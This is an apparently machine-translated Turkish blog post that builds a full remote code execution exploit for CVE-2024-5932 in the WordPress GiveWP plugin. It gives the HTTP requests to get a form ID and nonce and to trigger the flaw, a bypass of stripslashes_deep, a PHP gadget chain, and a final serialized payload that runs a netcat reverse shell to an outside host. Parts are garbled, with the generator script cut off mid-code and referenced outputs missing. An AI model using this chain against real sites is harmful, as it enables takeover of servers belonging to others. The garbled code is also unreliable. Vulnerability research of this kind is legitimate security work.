WordPress GiveWP POP’tan RCE’ye (CVE-2024-5932)


Birkaç gün önce Wordfence, popüler WordPress Eklentisi GiveWP’nin tüm <= 3.14.1 sürümlerini etkileyen PHP Nesne Enjeksiyonu güvenlik açığı hakkında bir blog yazısı yayınladı. Blog yazısı yalnızca kullanılan POP zincirinin (bir kısmı) hakkında bilgi içerdiğinden, bir göz atmaya ve tamamen işlevsel bir Uzaktan Kod Yürütme istismarı oluşturmaya karar verdim. Bu yazı, eksik parçaları belirleyerek ve tüm POP zincirini oluşturarak sürece nasıl yaklaştığımı anlatıyor. Başlangıçta güvenlik açığını ve zinciri keşfeden @villu164'e selamlar.

Wordfence blog yazısı, güvenlik açığının temel nedenine ilişkin bazı bilgiler ve POP zincirinin kısa bir açıklamasını sağlarken, bazı önemli noktaları (kasıtlı olarak, sanırım) gözden kaçırıyor. WordPress’i kurma ve kurma ve hata ayıklama ortamını VScode kullanarak kurma sürecini burada atlayıp doğrudan ayrıntılara geçiyorum. Hatadan başarıyla yararlanmanın tek ön koşulu (eklentinin eski sürümüne rağmen), GiveWP’nin etkinleştirilmesi ve en az bir bağış formuyla yapılandırılmasıdır.

Giriş Noktası

Güvenlik açığı bulunan kod yolu aşağıdakiler kullanılarak tetiklenebilir: give_process_donation ajax eylemi. İlgili verileri analiz ederken hemen göze çarpan bir şey give_process_donation_form yöntem, 38. satırda bir tür tek seferlik doğrulamanın bulunmasıdır. includes/process-donation.php:

function give_process_donation_form() {

	// Sanitize Posted Data.
	$post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok.

	// Check whether the form submitted via AJAX or not.
	$is_ajax = isset( $post_data['give_ajax'] );

	// Verify donation form nonce.
	if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
		if ( $is_ajax ) {
			/**
			 * Fires when AJAX sends back errors from the donation form.
			 *
			 * @since 1.0
			 */
			do_action( 'give_ajax_donation_errors' );
			give_die();
		} else {
			give_send_back_to_checkout();
		}
	}

Görünüşe göreBir bağış formunun form kimliğine ve tekrarına ihtiyacımız var. Yanlış bir yapılandırma aşağıdaki durumlara neden olmadığı sürece NONCE_KEY Ve NONCE_SALT bilinen bazı genel değerlere eşit olduğundan, tek seferlik müşteri tarafında hesaplanamaz.nedeni hakkında bu makaleyi okuyun.

Bağış Formu Kimliğini Alma

Neyse ki GiveWP bize ajax eylemini sağlıyor give_form_search mevcut tüm bağış formlarının kimliklerini almak için başka hiçbir argüman olmadan çağrılabilir:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

action=give_form_search

Bu, kimlikleri bir dizi olarak döndürür:

Hedef Formun Nonce’sini Alma

Daha önce de belirtildiği gibi, WordPress nonce’leri istemci tarafında kolayca hesaplanamaz. Ama yine şanslıyız. GiveWP bize başka bir ajax eylemi sağlar: give_donation_form_nonce bize belirli bir bağış formunun hemen bilgisini vermek için. Böylece daha önce keşfedilen form kimliğini kullanarak verebilirsiniz. give_form_id parametre:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

action=give_donation_form_nonce&give_form_id=11

ve bir kez geri döneceksin:

Savunmasız Kod Yolunu Tetiklemek

Güvenlik açığı bulunan kod yolu aşağıdakiler kullanılarak tetiklenebilir: give_process_donation Form kimliğini ve tekrarını verirken ajax eylemi. Örnek bir istek aşağıdakine benzer:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 653
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&[email protected]&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized

Bu isteği tetiklediğinizde, şunu fark edeceksiniz: give_title parametre içinde saklanır wp_give_donormeta masa:

O _give_donor_title_prefix anahtarı daha sonra Wordfence’in blog yazısında açıklandığı gibi serileştirilmedi. Give()->donor_meta->get_meta() yöntem.

stripslashes_deep’i atlamak

Hemen göze çarpmayan ancak daha sonra önem kazanacak bir şey, stripslashes_deep doğrulama sırasında $user_info savunmasız olanları içeren dizi user_title bağlanmak:

	// Setup donation information.
	$donation_data = [
		'price'        => $price,
		'purchase_key' => $purchase_key,
		'user_email'   => $user['user_email'],
		'date'         => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ),
		'user_info'    => stripslashes_deep( $user_info ),
		'post_data'    => $post_data,
		'gateway'      => $valid_data['gateway'],
		'card_info'    => $valid_data['cc_info'],
	];

Bu neden önemli? PHP nesne enjeksiyonu istismarları genellikle sınıf adlarına eğik çizgi içerebilen ad alanlarını kullanarak başvurur. stripslashes_deep arayarak bunlardan kurtulmaya çalışır stripslashes her değerde. Ancak bu, dört eğik çizgi () kullanılarak kolayca atlanabilir.\\\\) ad alanı adlarında.

Güzel POP Zincirini Yeniden Oluşturmak:

Wordfence gönderisi, ondan bir PoC oluşturmak için zincirin geniş ama iyi bir tanımını sağlar. Bu zinciri birden fazla parçaya bölelim:

(kaynak)

Zinciri Düz PHP’de Yeniden Oluşturmak

Aşağıdaki PHP betiği, birden dörde kadar olan adımlar için bir nesne oluşturur. Birazdan 5. bölümün eksik olduğunu öğreneceksiniz:

_values['rcesec'] = $giveInsertPaymentData;

    # Part 3 
    $giveObject = new Give();
    $giveInsertPaymentData->userInfo = ["address" => $giveObject];

    # Part 4
    $validGenerator = new ValidGenerator();
    $giveObject->container = $validGenerator;

    # Serialize and bypass stripslashes_deep()
    $serializedData = serialize($stripeObject);
    echo str_replace("\\", "\\\\\\\\", $serializedData);
}

İlk (Eksik) Sürümün Test Edilmesi

Yukarıdaki komut dosyası size aşağıdaki gibi serileştirilmiş bir nesne sağlayacaktır:

O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";s:0:"";}}}}}}

Bunu 3. adımdaki istekle kullanırken ve bir kesme noktası ayarlarken call_user_func_array aramak vendor/vendor-prefixed/fakerphp/faker/src/Faker/Validgenerator.php küçük bir parçanın eksik olduğunu fark edeceksiniz:

Son kod yürütme işlemine ulaşmadan önce call_user_func 80. satırda (bizim $this->validator özellik doğru şekilde ayarlanmış shell_exec), bir şekilde bunu yapmamız gerekiyor call_user_func_array 74 numaralı hattan çağrı yapın, argüman olarak ne istersek onu döndürün shell_exec Arama. Biz kontrol ederken $this->generator mülkiyeti kontrol etmiyoruz $name olarak ayarlanan değişken get.

Bu küçük bulmacayı çözmek için aşağıdakileri uygulayan bir sınıf bulmamız gerekiyor: get yöntemidir ve aynı zamanda kullanıcı tarafından kontrol edilebilen bir dize döndürür. $name mülk. O $name özellik daha sonra istediğimiz argümana ayarlanabilir. shell_exec Arama.

Zinciri Tamamlayacak Bir Gadget Bulma

Uygun bir alet ararken hemen şunu buldum: Give\Onboarding\SettingsRepository sınıf:

class SettingsRepository
{

    /** @var array */
    protected $settings;

    /** @var callable */
    protected $persistCallback;

    /**
     * @since 2.8.0
     *
     * @param callable $persistCallback
     *
     * @param array    $settings
     */
    public function __construct(array $settings, callable $persistCallback)
    {
        $this->settings = $settings;
        $this->persistCallback = $persistCallback;
    }

    /**
     * @since 2.8.0
     *
     * @param string $name The setting name.
     *
     * @return mixed The setting value.
     *
     */
    public function get($name)
    {
        return ($this->has($name))
            ? $this->settings[$name]
            : null;
    }

[...]

Tarafından belirtilen bir öğeyi döndürmesi beklenen bir get yöntemi sağlar. $name itibaren $this->settings özelliğidir ve bu özellik tamamen kullanıcı tarafından kontrol edilebilir!

Noktaları Birleştirmek

Yapmamız gereken son şey, $this->generator örneğinin mülkiyeti SettingsRepository sınıf ve emin olun address1 unsuru $settings dizi argümanımıza ayarlandı shell_exec Arama:

[...]
namespace Give\Onboarding {
    class SettingsRepository {
        public $settings = ["address1" => "nc xx.lu 1337 -c bash"];
    }
}

[...]
$validGenerator->generator = new SettingsRepository();
[...]

Bu size aşağıdaki gibi serileştirilmiş bir nesne verecektir:

O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:8:"settings";a:1:{s:8:"address1";s:21:"nc xx.lu 1337 -c bash";}}}}}}}}

Bu artık şununla sonuçlanır: generator özelliğin bir örneğine ayarlanması Give\Onboarding\SettingsRepository:

ne zaman call_user_func_array çağrı işlendi, arayacak address1 daha önce açıklandığı gibi öğeyi seçin ve bunu $res final için argüman olarak kullanılan değişken call_user_func Arama:

Bu nihayet korkak ters kabuğunuzu tetikler:



Source link